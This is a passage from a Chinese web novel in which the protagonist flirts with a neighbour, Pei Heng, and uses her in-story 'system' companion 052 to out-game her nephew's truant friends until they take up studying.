知道她的脾气，Russell举手求饶，端起自己的酒杯，朝着池又青手里的一碰，这动作翻译成大白话中文就是一句‘啥都不说了都在酒里了’。 两人闲聊半天，池又青看了眼时间，叫上Russell一块离开。哪知一下楼，就碰见个不速之客。 裴珩怎么还没走？ 一个人站这做什么？ 瞧见这男人，Russell眼睛又亮了，正准备凑上去，就被池又青揪着领口往路边摁。 “池小姐。”她装看不见呢，裴珩却偏偏叫住她。 池又青转头看裴珩：“裴老师。” Russell的目光在两个人之间来回转，这下算是懂了，极为有眼力见地跟池又青说去趟便利店，留下他们两个人面对面。 “刚刚那个是我表妹。”裴珩忽然说。 池又青唇角轻扬，嘴上却道：“跟我又没关系。” 裴珩嗯了声，说：“但对我很有关系。” 他讲：“我不想你误会。” 池又青瞄着他衣领处留下的寒意：“所以就一直在这等我？” 裴珩笑了下：“我开了车。” 瞧出池又青眼里的困惑，裴珩说：“没喝酒。” 池又青哦了一声，仰头看着他，眼睛亮得像夜晚中的星星：“裴老师，但我喝酒了。” “所以？”裴珩问。 池又青朝着他勾勾手指，裴珩从善如流地走近，她伸出手，解开他领口的两颗纽扣，满意地看着男人露出的肌肤，道：“还是这样好看。” 裴珩哑然失笑，纵着她当街为非作歹。 “你走吧。”池又青推他，“我要去找我朋友了。” 裴珩：“如果你是说刚刚和你在一起的那位朋友的话，三分钟前，我看见他打车离开了。” 池又青：“？？？” 她拿出手机一瞧，果不其然，Russell已经滚蛋，发消息给她，内容不堪入目，全都是调侃。 池又青无语，但心里又不得不想，不愧是能当朋友的人。一眼就看出来她到底有什么心思。 裴珩：“我送你？” 池又青收好手机，应道：“好呀。” 这是池又青第二次坐裴珩的车。 她发现这个人开车真的和她很不一样。 她开车主打一个胆大脾气躁，裴珩却不同，开车很稳，就算遇到那种外放着音乐疾驰而过还一路嘀嘀的嚣张傻叉，他也不为所动，面不改色。 池又青望着他的侧脸。 脑子里忽然蹦出来朋友之前说过的那句话胡话。 ——有这样清晰下颌线的男人，接吻起来一定很爽。 池又青想，她一定是太久没沾酒精，所以一碰才这样昏头。 裴珩送她到酒店楼下。 池又青如常地解开安全带，跟裴珩说再见，准备下车。裴珩却叫住她：“池小姐，我有个问题。” 池又青碰上车门的手没往下摁，转头看他：“什么问题？” 裴珩说：“你有男朋友吗？” 池又青瞧着他，看起来云淡风轻，但是握着方向盘的手用力到很紧。 她笑着说：“如果我说有呢。” 裴珩说：“那我可能需要调整一下我的道德底线。” 池又青扑哧笑出声，讲：“我和Russell只是朋友，裴先生如果想问这件事的话，这是我的答案。” 裴珩假意可惜：“被看穿了。” 说是这样说，但他半分想要隐藏的意思都没有。 池又青双手环抱于胸前，看好戏一样瞧着他：“裴先生怎么总是以为我有男朋友？” 裴珩的双眸沉沉地看着他，许久之后，温声说：“大抵是因为我自己心怀不轨。” 池又青眼底的笑意更深，她听得懂裴珩的言下之意，她没那么笨。 身子往椅背后一靠，她说：“谁又不是呢？” 四目相对，夜风纠缠着月色，谁也没放过谁。 在裴珩眸光闪动的时候，池又青又说：“不过裴先生，有句话我要说在前面。” “什么？”裴珩接。 池又青表面随性到不靠谱，正经起来，却锋利得像把刀：“我在江城待不久的，而且，我也不想和谁谈恋爱。” 裴珩看起来跟她不是一路人。 池又青一贯的原则是，搞搞暧昧可以，真谈不行。男的不能拿来谈，只能拿来用。所以很多时候，她跟许多长得不错的帅哥，都没什么特别的发展。 因为她过于挑剔的缘故，双方的关系仅仅进展到能各自释放魅力二三下，便再无其他。 一旦真的要把关系往下推进，接触更加亲密，池又青就会抗拒起来。她心里有个声音在告诉她，跟男的纠缠太多，不划算，不值当。 男人，只能当无聊生活的调味剂，仅此而已。 她把话撕开得太明白，以至于空气都安静下来。 池又青眼神直白，等着裴珩知难而退。 可裴珩却说：“没关系。” 他看人的时候，一贯都是这样温情吗？池又青不记得了。只是坠入他眼底的海洋中，又听到他说：“我们可以按照你觉得舒服的节奏和方式相处。” “谢谢你愿意在一开始就告诉我这件事。”温和有礼的回复。 池又青扬眉，拿不准裴珩究竟是太能装，还是本性如此。 但也没事，只要时间久了，妖怪都会现形。 “那我先走了。”池又青说。 裴珩点点头：“到房间跟我说一声。” 池又青的目光在裴珩的唇上流连一瞬，拉开车门之前，忽然倾身，一把抓住裴珩的领口，对着他的唇啃了下。 在裴珩怔愣的眼神中，池又青微笑道：“这就是我的节奏，裴先生。” 她逗完就溜，拍拍屁股走人，留下裴珩一个人坐在车里。 男人不知在想什么，定在原处半晌，伸手摸了摸唇，又用后视镜去看。 一抹淡色的口红在他的薄唇上明显非常。 他两手搭在方向盘上，额头贴上去，长吁口气。 手机一震，拿出来看，是刚刚撩完就跑的家伙发来的消息。 youqing：回房间啦。 youqing：还没走？ 裴珩揉了揉轻微发烫的耳朵，慢条斯理地敲字回复。 二十三楼，池又青看着手机上收到的新消息，忍不住笑出声。 人美心善好邻居：嗯。 人美心善好邻居：还在适应节奏。 第34章 第34章姑奶奶，你去打劫了？ 池又青心情不错。 不知道是因为喝了点酒，人有点飘，脑神经意外的活跃，还是因为裴珩的反应实在让她觉得有点意思。 窝在酒店的沙发上，池又青忍了又忍，最终还是没忍住，决定跟小姐妹们聊点八卦。 《劳资蜀道（3）》 公主今天也不想带娃：你好，试过了，好像也没特别爽@吃香喝辣还点鸭 别读博会发疯：试什么？ 吃香喝辣还点鸭：试什么？ 公主今天也不想带娃：下～颌～线～ 别读博会发疯：啊啊啊啊啊！你啃到了！！ 吃香喝辣还点鸭：怎么啃的怎么啃的！！说来听听！！ 池又青被闺蜜的反应逗笑。 公主今天也不想带娃：就凑过去啃了一口啊。 别读博会发疯：？ 吃香喝辣还点鸭：？ 别读博会发疯：详细点，我要过程。 公主今天也 不想带娃：真没什么过程，就是他站在我面前，我抓住他，然后凑上去了。就这样。 公主今天也不想带娃：接吻也没那么爽嘛。 吃香喝辣还点鸭：就这？ 公主今天也不想带娃：？？？ 吃香喝辣还点鸭：宝宝，你还有得学呢。 吃香喝辣还点鸭：下次给我整个那种三百六十度十二个机位怼着拍的那种，懂？那种才叫啃。 吃香喝辣还点鸭：你今天这个顶多算碰瓷。 池又青被好友的话逗笑了。 碰瓷怎么了？ 那也是她得逞了。 想到这，她又给好朋友Russell打电话：“刚刚怎么跑那么快？” Russell：“我眼睛又不是白长的！” 池又青哼笑一声，问：“我侄子呢，现在什么情况？” Russell有些激动地说：“噢！Freya，我正要跟你说这件事呢！” “这小子可能是个天才！”Russell夸张地说，“他抓谱的能力太强了了！听一遍就能扒出来了！而且音准很厉害！” 池又青倒是没想到陆季燃在音乐方面还这么有天赋的。 看来原著未来顶流的buff还是有点东西。 “他以后要走音乐这条路吗？”Russell问，“嘿，说不定到时候还能来我们的乐队。” 池又青调侃：“八字没一撇的事你就已经开始计划雇佣童工了？” Russell：“怎么这样说！我这是惜才！” 池又青：“你要是惜才，不如每周末跟他上网课？” Russell：“网课？” 池又青跟Russell解释了下。 Russell声音轻快起来：“哇，可以试试！等这两天结束再看看！” 在Russell的乐队挨了两天魔鬼训练，池又青以为陆季燃回来的时候会形如枯槁，憔悴无比。 哪知道这小子居然看起来意外的精神。 陆季燃一见到池又青，就跟被放出去撒欢的雏鸟看到世界后迫不及待地叼着乱七八糟的石头回来分享，极其兴奋：“小姨小姨！我跟你说！我今天和乐队合奏了！” “而且那个贝斯还夸我呢！” “啊啊！他们还说以后每周可以跟我视频！！” 池又青瞧着他这没出息的样子，轻笑一声：“你叫我什么？” 陆季燃浑身上下兴奋地炸开的驴毛一瞬僵住。 池又青好以整暇地瞧着他：“怎么？不好意思了？” 陆季燃硬着头皮说：“没、没啊，你本来就是我小姨，我这么喊是应该。” 池又青：“那再叫一个听听。” 她感觉自己这语气有点像过年过节哄小孩喊自己的家长，喊高兴了就发红包的那种。 陆季燃张了张嘴，一个xiao的音调发了半天，不知道怎么着，看着池又青的脸，心里就总觉得不好意思，折腾老久，什么都没说出来。 池又青不逗他了，对他说：“这两天玩开心了，回去别忘了继续学。Russell找我，跟我提过，说你很有天分，陆季燃，你有考虑过未来要做什么吗？” 陆季燃愣了下。 池又青忽然提出来的这个问题，他回答不上来。 在遇到池又青之前，他从没想过未来两个字还能跟他相关。 “我还可以选吗？”陆季燃低声问。 “当然啊。”池又青揉揉他的脑袋，“空了就好好想想。要是真喜欢音乐，考虑走这条路，也要做好计划。是要上音乐院校，还是读正常大学？当然，你要是不想读大学也没关系，那也得考虑清楚，不读又能做点什么。” 池又青带陆季燃来看这一场演出，并不单单是为了给小孩和自己放假。 “陆季燃，如果你真的喜欢和他们一起合奏，喜欢舞台。” “说不定呢，有一天，你也可以站上去的。” 她希望可以给陆季燃的心里种上一颗种子。 陆季燃抿了抿唇，应了声：“嗯，小姨，我知道了。” 这天晚上，陆季燃罕见的失眠了。 他在群里问。 《还是上点学吧兄弟》 R：睡了没？ 孤白：打游戏呢，睡个毛。 我爱吃肉：晚上吃撑了…… 我爱吃肉：没睡着QAQ 我爱吃肉：咋了陆哥？ 孤白：对啊陆哥，这两天你都没咋动静，跟咱小姨出去好玩吗？ R：我小姨。 孤白：哎呀，都是兄弟。 孤白：有心事啊陆哥？ 陆季燃犹豫半天，在键盘上敲：你们有想过以后要做什么吗？ 孤白：不知道，反正我成绩不好，我妈替我想过，考不上大学就回厂里帮忙。 我爱吃肉：我也是……我爸妈让我去店里当厨师…… 家长都替孩子安排了后路。 陆季燃却什么后路都看不到。 R：你们就没有想做的事吗？ 孤白：打游戏，算不？等我以后不上学了我就去当主播，哈哈！ 我爱吃肉：陆哥，我觉得现在睡觉，吃饭，就挺好的。 孤白：别关问我们啊陆哥，你呢？你想干嘛？ 又是这个问题。 陆季燃依旧没有答案。 可是隐隐约约的，他感觉，心里有一道奇怪的声音在悄悄地说话，不敢大声，因为怕被嘲笑，因为未来也充满不确定，因为没有信心。 但无论如何，从今天开始，他再也没办法忽略这声音。 一旦心里的合奏响起过，灵魂就再也忘不掉。 * 次日。 052瞧出池又青的打算，心急如焚，反复跟她确认：【宿主，你确定要这么做吗？你确定吗？】 池又青打了个哈欠：【都问八百遍了，还要我回答几次？确定，确定，非常确定。】 052苦巴巴：【可是系统发布的新任务是让你帮助白盛飞好好学习——】 池又青现在这算怎么回事？ 052瞧着眼前刚刚归整好的电竞专区包间，有些无言。 光是从阵仗上看，池又青根本就是要助纣为虐！大肆弘扬歪风邪气！ 052可不觉得很妙！ 这事要从池又青带陆季燃在朋友的国际乐队手里特训完说起。 两人前脚刚回江城，池又青后脚就收到提示，系统说她这一次带着陆季燃在期中考上打了个漂亮的翻身仗，以至于声名远扬，一传十，十传百，搞得她现在跟都市传说没什么太大区别。 就连陆季燃周围两个朋友的家长，以及班上的家长都对她充满莫名的想象。 班主任周正然更是快把她吹上天去。 系统检测到符合条件，当即触发新的任务。 「环境带给人的影响是巨大的，对青少年来说，朋友的改变更是一种莫大的影响。」 叽里呱啦说了一堆后，系统切入正题，要她接手改造白盛飞和袁源的事。 一回生二回熟，池又青现在已经看很开。 而且对白盛飞和袁源的要求，不像陆季燃那样死板，明码标价确认了学习进步目标。 系统只是希望他们能够达到一定量的有效学习时长。 这还不简单？ 池又青满肚子都是鬼主意，决心开始逐个击破。 先拿白盛飞开刀。 “姑奶奶，都准备好了。”说这话的少年周身都写满了‘我才不是自愿的我是被迫的’的气场。 梁骁被梁飞龙派来帮助池又青整治网吧环境，这几日在池又青身边混着，都快成为贴身特助了。虽然他顶着头红毛一脸不乐意，但不影响池又青非常顺手地使唤他。 不用白不用啊。 就连梁骁喊她姑奶奶，池又青都已经有点习惯。 当然，梁骁试过不这么喊，但被店员偷偷上报老爸以后，遭了苦头吃，再也不敢阳奉阴违。 甚至每次要喊这一声的时候，都会特意调大音量，恨不得让整个场子里的他爸的眼线都听得清清楚楚。 池又青被他这音量弄得有点无语，捂住耳朵，丢给梁骁一个眼神。 梁骁顿时收声。 池又青瞧着眼前特别清理出来的专区，鼻尖轻嗅，没有烟味，满意地点了点 头。 “一会3V3，你来吗？”她问梁骁。 梁骁两手插兜：“都谁啊。” “我。”她说，“还有个白盛飞，你见过吧应该。” 梁骁有点莫名地瞧着池又青，眼神似乎在说‘啊？你？’。 池又青踹他一脚：“来不来，一句话，不来我叫别人。” 梁骁不是很想跟池又青一起打游戏，还有那个白盛飞，他觉得这俩都是菜比。 奈何一旁的店员眼神太过锐利，他甚至觉得只要他敢张口说一个不字，店员就能给他爹通风报信。 他的屁股和钱包又要双双开花了。 “来。”梁骁咬牙切齿地说。 没一会，白盛飞也来了。 他见到池又青的时候，表情乐颠颠，嘴甜地喊：“小姨！” 池又青朝他招手。 白盛飞是这家网吧的常客，自从前几日这网吧整改，不再偷偷让未成年进入，白盛飞就没来过了。没想到小姨还有这等人脉，让老板在三楼专门整了个专区，不对外营业，只给他们自己玩。 小姨，人美心善啊！ 真是懂他们这些网瘾少年的苦。 而且也不问责他逃课的事，还主动约他一起玩游戏。 白盛飞这辈子都没在大人那得到过这种待遇。 见到梁骁，白盛飞就想到那天郭允闹事以后他听说的事，莫名想笑，努力憋住了。 “上机吧。”池又青说，“咱们今天打个痛快。” 白盛飞兴奋：“好啊好啊！” “小姨你想玩什么？我都可以。”他问。 “绝地战场，可以吧？”池又青已经把号登上，“三排？” 白盛飞没问题。 池又青一边看着他开机弄电脑，一边问：“陆季燃今天在学校怎么样？” “挺好的啊。”白盛飞说，“我还问他要不要一块逃课呢，他说不，要看书。” 那还行。池又青有点满意。 白盛飞又补充说道：“我听你的，没跟他说今天的事。” 池又青嗯了一声，伸手拍拍他特意造型过的卷毛：“乖。” 白盛飞耳根一红，忙说：“应该的呀应该的呀。” 梁骁在旁瞧见这反应，嗤笑一声。 白盛飞暗戳戳地瞪他一眼。 池又青没把这两小孩的较劲放在眼里，毕竟这都不是她今天要做的事的重点。 游戏界面正在加载。 白盛飞抢先说：“小姨，等会你跟我，我罩你。” 梁骁不屑一顾：“跟你？跟你落地成盒啊。” 池又青一言不发，白盛飞和梁骁都以为她在紧张，猜测，这么紧张的肯定是新手，水平八成都不怎么样。 果不其然，第一把，池又青死得很快。 白盛飞拍着胸脯跟她说：“小姨，别怕，看我带你吃鸡。” 梁骁呛他：“小心连鸡屁股都吃不到。” 梁骁一语中的。 白盛飞看着宣告死亡的灰色画面，又瞧着梁骁嚣张地从他的尸体上走过，正愤怒呢，下一秒，就见梁骁被人炸死。 白盛飞：“哈哈哈哈哈哈！” 梁骁：“…………” “再开一局？”池又青问。 白盛飞摩拳擦掌：“没问题啊。” 梁骁也同意。 看着正在排位中的信息，池又青问052：【他俩的水平，你都弄清楚了吧？】 052：【报告宿主，资料收集完毕。】 池又青：【ok，那交给你了。】 052：【没问题。】 白盛飞这一把正准备全力当个护花使者，提高美丽小姨的游戏体验，哪知道…… 小姨的战力怎么表现怎么跟刚刚完全不一样啊？！ 而且她的运气实在是好到爆。炸。 在资源最为匮乏的区域，她随便选个房子一摸，居然都能够摸出一堆好东西。 大家都是光秃秃的来，怎么一个房子搜完，他和梁骁都还在裸。奔，小姨却已经戴上三级头盔，手扛47，厚重且一看就超级能装的背包挂在身后。 白盛飞：？ 梁骁：？ 姑奶奶，你是去打劫了吗？ 第35章 第35章姨，你别太强了！ 白盛飞反反复复确认眼前的一切不是假象。 咋回事？ 说好的大家都当非洲人，你怎么回事？ 两个游戏小人在游戏里沉默了会，不信邪，争相着去池又青附近的房间，扫荡了一圈，结果啥也没捡着。 白盛飞在语音里说：“这地方果然还是穷啊。” 梁骁赞同地说：“对，换个地吧。” “等等。”池又青说，“过来下。” 两人操控着游戏角色朝着池又青所在的地方赶过去。 就见她走出一栋看起来破破烂烂空空荡荡的小屋，背着她那令人羡慕嫉妒恨的三级包，变魔法一样掏出一堆物资，丢在地上。 “捡吧。” 这一刻，梁骁和白盛飞都有一种共同的被投喂的感觉。 捧起她丢在地上的枪，白盛飞两眼含泪，决心这一路都要保护她。 “小姨，我会为你而战的。”中二少年的魂没压住，一个不小心钻了出来，白盛飞近乎虔诚地说，“这一次，我绝对不会让你倒在我面——啊啊啊啊！有人打我！！！！” 砰地一声枪响从白盛飞的头戴式耳机里炸开。 他吓得浑身一个哆嗦。 以为自己要死了，丢人的死掉。哪知道屏幕中，他操控的角色还活生生地站着，半点血都没掉。 白盛飞茫然了。 画面里，梁骁听见动静也从远处赶过来，扛着枪，左右四顾，发现不远处有个冒着烟的盒子。 “谢了啊兄弟。”白盛飞大大方方地跟梁骁说。 梁骁一脸莫名其妙，在屏幕上扣了个问号。 白盛飞：“刚刚那枪是你打的吧？救我一命，我记在心里。” 梁骁又多扣了两个问号。 在语音里说：“谁救你了？我刚过来。” 白盛飞一头雾水：“那是谁啊——” 池又青的声音从耳机里响起：“还不起捡盒子？愣着做什么。” 等白盛飞反应过来，他控制的角色已经嘟嘟嘟跑了出去。 他的手好像有自己的想法。 池又青说：“跑快点，他队友还在呢。跑这么慢等着送人头吗？” 白盛飞：“诶？诶——诶………” 他怎么感觉小姨跟刚刚好像不一样了？ 白盛飞来不及细想，握着鼠标的手心沁出冷汗，耳麦里传来已经不知道是第几次出现的枪声轰鸣。 他眼睁睁看着屏幕右上角击杀提示疯狂滚动—— 【别打了我求饶使用M24爆头击倒XXX】的字样在十秒内刷屏N次。 妈耶。 白盛飞只觉得自己现在是在做梦。 说好的菜鸡呢！ 怎么不对劲！！ “还发呆？115方向，假车库二楼。”池又青干净的声音突然响起，白盛飞立刻转动视角，开始寻找。 他准头不错，在池又青的指导下，立刻将对方彻底爆头。 “还行。”池又青说，“继续。” 接下来，白盛飞感觉自己看了一场表演系。 纯纯的大神水平。 操作极其丝滑。 决赛圈的时候，碰到其他满编小队，白盛飞以为要完蛋了，慌忙扔出烟雾弹时，却发现池又青早在换弹间隙就切出了破片手雷。 当烟雾腾起的刹那，手雷在敌方掩体后划出抛物线，爆炸声与击杀提示同步刷新。 白盛飞忍不住在心里尖叫，握着鼠标的手却越发紧张。 等「大吉大利」的金色字样出现，他还有点没回过神来。 一看战力数据，盯着那个比自己高出三倍的KD值，白盛飞有点懵圈。 这可不像是运气好就能做到的啊！ 枪法快狠准，尽可点射扫射，远可直接扛狙爆头。战术也牛逼，每次都能找准时机直捣对手。 搞半天，这才是个隐藏大神啊！ 他和梁骁刚刚口口声声明里暗里说要带池又青飞。 好家伙，结果变成他俩被带飞！ 瞧着眼前的吃鸡标志的时候，白盛飞还有一种恍如隔世的错觉。 就这么轻松？ 就这么 躺赢了？ 白盛飞兴奋地说：“小姨，没想到你这么强啊！” 池又青摘下耳机，看着他：“我也没想到，你这么弱啊。” 池又青打游戏一向不错。 她这个人，除了学习，其他的都做的很好。 再加上有052的辅助提醒，池又青想输都有点难。 毕竟052会觉得，输掉这种游戏，实在是对它的侮辱。 “说好的游戏之王呢？”池又青笑着替白盛飞回味他的吹逼历史，“说好的带我飞呢？” 白盛飞：“……嘤。”姨你别说了，你好不留情。 白盛飞可怜巴巴：“姨，你怎么做到这么厉害的啊？” 池又青心想，你被系统错绑你也可以。 白盛飞：“哎，我刚刚发挥的也的确不好。” 池又青：“岂止不好。” 池又青看着052生成出来的数据报告和指导方针，冷着脸给白盛飞分析了一通。 白盛飞听完后云里雾里，不明觉厉。 梁骁在一旁竖起耳朵听，听了半天，没忍住，问：“那我呢？”他又补充道，“姑奶奶，那我呢？” 池又青没厚此薄彼，把梁骁的问题也说了。 两小只听完后，瞬间都被唬住。 白盛飞和梁骁对视一眼，忙说：“小姨小姨，你这么厉害，那能不能等会继续三排的时候，你教教我们？” 池又青说：“可以啊。” 见她答应，白盛飞笑得合不拢嘴。 池又青说：“我有点严肃，没问题吧？” 白盛飞继续笑着，说：“没问题啊！教徒弟嘛，严格一点应该的。” 但很快，他笑不出来了。 这哪里是打游戏啊？ 白盛飞简直觉得他是在接受军训。 为了攻克他的毛病，池又青强制要求他定点射击。又给梁骁安排了别的项目。 两个本来打算在游戏世界里大显身手的中二少年，这天下午，双双成为池又青指挥下的狗。 目标是训练成军犬的那种。 下机的时候，白盛飞人都瘫了。第一次听到‘好了不玩了’这五个字的时候，他的反应不是舍不得，不是不高兴，而是大松口气，如同解脱。 往旁一看，梁骁的症状跟他差不多。 本来还有点小仇小怨小别扭的两个少年，现在互看一眼，眼底都写满了同情，写满了理解，写满了‘兄弟我们好惨’几个字。 池又青倒是轻松，伸个懒腰，喝了口奶茶，问：“明天还玩吗？玩点别的也行。” 听到后面这句话，白盛飞死掉的心忽然又活了过来。 “别的好，别的好。”他忙说，“玩玩玩，陆哥他侄子，你来不？” 梁骁听到这称呼，眉头一皱：“你乱喊什么呢？” 白盛飞哎呀一声：“这辈分不本来就是这么算的吗？” 梁骁急了：“你——” 池又青夹在两个人中间，毫不犹豫地打了个响指：“玩不玩？” 梁骁顿时收了声，回一个字：“玩。” 白盛飞心想，明天得玩个他擅长的，不能让小姨看轻了他。 结果，第二天—— 白盛飞瘫在电竞椅上，他甚至没心力去关注这高端奢华的电竞椅是如何的舒服，瘫倒的姿势也比昨天还要夸张。 转头看向一旁，梁骁也蔫了。 在看池又青，还是那么容光焕发，神采奕奕。 白盛飞的脑子里猛然一下冒出个巨大的问号。 老天，这对吗？ 这真的对吗？ 为什么都换了个游戏，他和梁骁都还是死得这么惨？ 又是在游戏里接受拉练的一天。 这也太恐怖了吧！ 白盛飞盯着电脑屏幕，第一次觉得上网，或者说，玩游戏，竟然也可能成为一种酷刑。 这一把，他都有点认了，梁骁还在挣扎：“明天……继续……” 梁骁都如此，白盛飞哪里愿意服输？ “继续就继续！”为了在池又青面前争一口气，白盛飞拼了。 又是几天过去。 陆季燃都看不下去，问他：“你这几天怎么了？” 白盛飞整个人的魂都散了，甚至感觉自己的耳朵里还有着幻听。大脑正在重复播放池又青打游戏的时候教训他们说的话。 “我在练了！我在练了！”他下意识地回。 袁源见鬼一样抓着他的肩膀晃：“你醒醒啊！” 陆季燃眉头紧锁：“遇到什么事了？” 白盛飞回神，慢半拍地说：“没什么事啊……” 也就是每天在网咖被你小姨狂虐而已。 “晚上打游戏吗？”陆季燃提议，想用这个办法让白盛飞心情好点。 毕竟白盛飞以前是个听到打游戏就马上乐得蹦起来的那种人类。 哪知道，此话一出，白盛飞浑身一抖，连连摇头：“不打了，不打了，我这周，不，我这个月暂时都不打游戏了。” 别说不打游戏了，白盛飞连课都不敢逃了。 一逃就会被池又青逮住，又给他送到游戏里去坐牢。 这个牢真就硬坐啊！ 跟梁骁同甘共苦这么几天，两个人甚至还加上了好友。一开始，大家都在演，看谁更能坚持。到后面，梁骁和白盛飞都撑不住了。 退网了。 这波真的要退网了。 偏偏池又青还很热情，持续邀请他俩打游戏。 他俩双双用了一个最正当的理由婉拒：“要学习。” 池又青就顺杆爬：“是吗？那也挺好的。对了，我最近收到一套真题，既然你们都在学习，学完后来写写？要是没啥效果，真就还不如跟我打游戏好玩啊。” 白盛飞：“……” 他有一句卧槽，不知道当讲不当讲。 姨你别太爱打游戏啊！！ 白盛飞从没想过有一天，他会为了不打游戏而努力学习。 相比被池又青在游戏里军训虐菜，白盛飞觉得，还是读书有意思。 老师多和蔼，同学多可爱！ 学习。 他爱学习。 “陆哥。”袁源看到白盛飞坐在位置上看书就头皮发麻，“你说他是不是中邪了？” 陆季燃正在刷错题，听到这话，瞄了眼坐在侧前方的白盛飞：“是有点怪。” 袁源：“对吧对吧！他自从前段时间天天逃课出去以后回来就变成这样了！” 袁源担心：“陆哥，你说他是不是遇到什么事，受到刺激了啊。” 陆季燃：“什么刺激能让他忽然决定好好学习？” 袁源想了半天，真没想出来。 “卧槽卧槽。”教室里有人爆笑，“你们看到这个没？主播组队遇到小姨和侄子打游戏！啊啊！我被笑死！发班级群了！你们都给我看啊！” 陆季燃本来不感兴趣，可是在听到视频放出来的那个瞬间，女人的声音出现，他一下就顿住了。 坐在位置上，椅子往后翘，手机在桌肚里打开，戴上耳机，视频里的声音变得清晰无比。 陆季燃沉默着看完，又瞄了眼视频的标题： 【关于我那强得飞起的小姨和菜鸡侄子】 他走到白盛飞身边，白盛飞脑袋往下埋，头都不敢抬，几乎都要藏到书里。 “陆哥……” 陆季燃把手机摆到他面前，屏幕上证显示着游戏主播特别用话题大字强调出来的一行文字—— 【小姨！救我！】 “喊挺顺啊。”陆季燃笑着说。 白盛飞轻咳道：“那什么，都是兄弟，都是兄弟——” 陆季燃一把用肘子将他锁喉：“我把你当兄弟！你倒好！偷偷逃课出去跟我小姨玩是吧！” 还不告诉他！ 两个人都不告诉他！！ 白盛飞向袁源投去求救的眼神。 袁源毫不犹豫地用自己伟岸的身躯挡住其他人好奇看过来的目光。 白盛飞：“……” 没用的东西！ 白盛飞欲哭无泪地解释：“陆哥，是咱姨约我出去玩的，但是我发誓！我以后都不玩了！” “从今天开始，我要好好学习，再也不打游戏！” 白盛飞发誓得非常严肃。 袁源转头问陆季燃：“陆哥，打赌吗？” 陆季燃：“不赌，因为答案显而易见。” 白盛飞：“……信我！哥们这一次真的戒网了！” 他现在真看到电脑都想呕吐啊！！ 陆季燃小发脾气以后，放过了白盛飞。 回到家，却屡屡对着池又青露出欲言又止的表情。 池又青看不下去，问：“怎么了？” 陆季燃说：“你很喜欢打游戏吗？” 池又青：“一般般。” 陆季燃：“我这周末不上吉他课的。” 池又青品味了下这段对话：“你想找我打游戏啊？” 陆季燃：“……我不是怕你无聊吗？不只白盛飞会打游戏，我也会的。” 池又青笑了：“ 你知道了啊。” 陆季燃拿筷子戳戳面前的土豆饭，感觉自己现在的行为有点幼稚，但是还是忍不住在意。 这明明是他小姨啊！ “行啦行啦，下次叫你一块。”池又青露出神秘的微笑，“让你也体验一下。” 周末，陆季燃体验完毕，再也不对白盛飞多说什么。 两人走出网咖的时候，向彼此投去的都是劫后余生的感慨。 “兄弟。”陆季燃拍拍白盛飞的肩膀。 白盛飞叹口气，回拍他的，说：“不说了，都懂。” 两人瞧着远处的夕阳，心里生出淡淡的惆怅。 “还是上学好。”白盛飞说，“起码老周不会对我军训。” 他都快打游戏到手抽筋了谁信！ “我以后一定好好学习。”白盛飞如此发誓。 052没想到池又青用一招以毒攻毒，轻而易举就解决了白盛飞的问题。 052：【有办法还是你有办法。】 池又青：【不得有你搭配干活才有如此奇效？】 她是会打游戏，但要是天天军训别人，她也会累。 教官的命也是命啊。 还好有052替她上阵。 052：【嘿嘿，嘿嘿】 052爽了会，又问：【宿主，袁源你打算咋办？】 池又青说：【这还不简单？】 袁源简直是这三小只里最好搞定的一只了。 此人有奶就是娘，超级重度吃货，为了一口吃的，什么都能做出来。 池又青随便动动手指头，就能让袁源吃到以前从没吃过的美食。 再加上袁源身边陆季燃和白盛飞两个人都逐渐改变，袁源也有些被影响到。 第二个任务就这样迅速地上了正轨。 池又青看着每天进账的成就点，有种割韭菜的诡异快乐。 估计是袁源和白盛飞的改变太过引人注目，双方家长都又惊又喜，问清来龙去脉以后，说什么都要请池又青吃饭。 池又青不是很想去，她一贯不喜欢吃这种目的性太强的饭。而且她也没觉得自己干了什么好事，她都是有利可图才这样的。 但袁源和白盛飞望着她的眼睛就跟路边排队等饭的流浪狗一样。 池又青最受不了这种眼神。 这也是她为什么出现在饭桌上的原因。 四位家长见到她，脸上都先露出惊讶的神色，又忙跟她打招呼。白盛飞的妈妈还拉开椅子，邀请池又青坐在自己的身边。 大家本来都有点拘谨，还是白盛飞的妈妈白琳会来事，很快就把场子弄得热络起来。 一聊才知道，袁源这么爱吃是有渊源的。 人家里祖祖辈辈都是干食品这行的，据说祖上还有人是尚食呢，给皇帝做饭的那种。家长对袁源的学习也没什么指望，甚至一开始还想让袁源去读职高，学点做饭。但袁源想跟陆季燃和白盛飞待在一块，便就来了江城九中上学。 本来想着这么混三年也行，以后出来接受家里的餐馆，退路都在，却没想到，袁源忽然有了学习的动力。 “还是得谢谢你啊，池小姐。”袁源的爸爸妈妈都生得一副特别有福的长相，耳垂厚厚的，笑起来憨态可掬，像两个大款的福娃，“池小姐，以后要是有什么需要帮忙，尽管招呼我们。” “可别说，我还真有件事。”池又青问，“二位，你们有认识的人能上门做饭吗？我现在每天都不知道吃什么，想这事能想半天。” 这段时间裴珩也不在，自从上次演唱会后碰过一次后，裴珩就没回来。 池又青失去了一个很会挑菜的饭搭子。 但多了一个每天在微信上替她做选择的网友。 这些天，池又青都快把江城的馆子吃遍了。阿姨挑挑拣拣，也没选到十分和她心意的。想来袁源的爹妈应该很会吃，而且是江城的老油条，又是干这行的，对此应该很了解。 袁源妈直接拍桌：“池小姐，客气啥，哪用找什么阿姨？我直接让我们店里的厨师长，每天给你出餐，到时候找人给你送来。你要是不知道吃什么，这事就交给我。” 她拍着胸脯保证：“别的我不敢说，但安排吃饭这件事啊，交给我准没问题。” 既然袁源妈都这么说了，池又青就不客气了，推三阻四的话，反而奇怪。 一旁的白盛飞忙说：“小姨小姨，我爸妈是开厂的，服装厂，你要是有啥想要的衣服，也可以跟我爸妈说！” 白妈妈瞪了眼自己的儿子，哭笑不得地对池又青讲：“池小姐，他没眼力见，笨得很，你别管他啊。” 白盛飞看不出来，白妈妈还能看不出来吗？以池又青这一身的穿搭，哪里能看得上他们家的衣服。 白盛飞嘟囔：“妈，你别谦虚啊，跟我们合作的那个网红店铺不是也有几十万的粉丝吗？” 白盛飞私下偷偷瞧过，还是有不少人买他们家做的衣服的。 白妈妈扶额，真的有被自己的笨比儿子无语到。 池又青看起来可不像是会买这种快消衣服的人啊！ “我对这方面倒是很感兴趣。”池又青对白琳说，“姐姐要是有空的话，可以多跟我讲讲。” 白琳喜出望外：“好啊好啊，没问题。” 她以为池又青只是单纯地喜欢买衣服，搭配衣服，却没想到，跟她聊几句后，她对服装的了解超出她的想象。 白琳越聊越对这个妹妹喜欢得紧。 